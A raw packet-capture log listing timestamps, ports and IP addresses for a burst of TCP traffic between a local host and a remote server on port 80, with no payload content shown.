Jan 11, 2025 02:16:47.639240026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.639255047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.639292002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.639352083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.639363050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.639374971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.639394045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.639427900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.639508009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.640155077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.640185118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.640196085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.640199900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.640225887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.640271902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.640281916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.640292883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.640305042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.640326977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.640350103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.641115904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.641127110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.641136885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.641161919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.641237974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.641249895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.641262054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.641273022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.641277075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.641292095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.642051935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.642066956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.642080069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.642088890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.642122030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.642179012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.642189980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.642200947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.642213106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.642220020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.642255068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.642923117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.642935038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.642971992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.648442984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.654510021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.654520988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.654531002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.654587984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.654591084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.654603958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.654633999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.654681921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.654725075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.654742956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.654792070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.654802084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.654812098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.654834032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.654848099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.696805000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.696923971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.696937084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.696971893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.715471983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.724504948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.757909060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.757930040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.757952929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.757976055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.758001089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758016109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758038998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.758136988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758177042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.758198023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758212090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758223057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758234024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758246899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.758277893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.758450985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758462906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758474112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758486986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758498907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758506060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.758531094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.758661985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.758702993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.760014057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.816912889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.816936016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.816948891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.816991091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.817044020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817055941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817069054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817111015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.817111015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.817214966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817228079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817239046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817249060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817276955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.817276955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.817476034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817487955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817501068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817512989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817523003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.817548990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.817704916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817717075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817728043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817739010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817750931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817761898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817770004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.817775011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.817791939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.817833900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.818022966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818036079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818048000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818059921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818072081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818078041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.818084955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818087101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.818108082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.818339109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818350077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818361998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818372965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818381071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.818397045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.818562031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818576097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818587065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818598032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818607092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.818609953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818634987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.818653107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.818773985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818837881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818849087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818864107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818871975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.818876028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818886042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.818901062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.818934917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.819133043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.819147110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.819164038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.819175005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.819185019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.819195032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.819205999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.819211960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.819246054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.819473982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.819488049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.819504976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.819520950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.819529057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.819540977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.819546938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.819585085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.821881056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.821924925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.821945906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.821958065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.821968079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.821969032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.822002888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.822024107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822045088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822063923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.822165966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822181940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822199106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822206020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.822211027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822227955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822237015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.822268963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.822340012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822381973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822418928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.822423935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822436094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822474003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.822567940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822591066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822613001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822624922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822630882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.822666883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.822700977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822856903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822877884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822890043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822904110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822906017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.822938919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.822947979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822962999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.822988033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.823046923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823071957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823085070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823090076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.823120117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.823199987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823218107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823230982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823250055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.823371887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823384047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823395014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823406935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823416948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.823426962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823432922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.823438883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823450089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823462009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.823486090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.823791027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823803902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823817015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.823841095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.827465057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.845671892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.845709085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.845721960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.845726967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.845758915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.845809937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.845823050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.845869064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.846076965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.904164076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904191017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904203892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904213905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904232979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904248953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.904309988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.904315948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904329062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904339075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904350996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904366970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.904381037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.904553890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904565096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904577017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904587030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904589891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.904607058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.904830933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904843092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904855013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904864073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.904870033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.904891014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.931364059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931387901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931401014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931442022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931485891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931498051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931516886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.931516886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.931600094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931612015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931627035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.931643963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.931708097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931724072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931744099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.931847095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931858063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931868076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931879997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931890965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.931891918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.931915998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.931936979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.932055950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932068110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932080030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932094097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932102919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.932105064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932136059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.932271004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932281971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932307959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.932341099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932353020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932363987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932374001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932388067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932393074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.932411909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.932425976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.932742119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932761908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932774067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932784081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932795048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932796001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.932806015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.932821989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.932837963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.933130026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933140993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933151007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933161020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933166981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.933171988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933182955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933192968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933203936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933208942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.933216095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933227062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933233976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.933238029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933248997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933250904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.933260918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933271885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.933299065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.933867931 CET	80	49704	193.143.1.205	192.168.2.5
